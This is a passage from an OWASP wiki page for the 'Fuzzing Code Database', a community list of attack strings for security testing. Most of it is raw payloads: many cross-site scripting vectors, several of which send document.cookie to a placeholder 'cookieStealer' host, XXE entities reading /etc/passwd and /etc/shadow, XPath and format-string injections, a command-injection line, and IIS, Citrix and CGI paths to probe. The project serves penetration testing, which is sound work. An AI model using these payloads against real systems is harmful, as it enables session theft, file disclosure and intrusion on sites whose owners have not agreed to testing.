HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt;<br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81047 2010-04-06T21:28:56Z

<p>Adam.muntner: /* Commonly writable directories (6 April 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft IIS vulnerabilities and enumeration (6 April 2010) ===<br /> &lt;pre&gt;#Microsoft IIS vulnerabilities and enumeration (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br 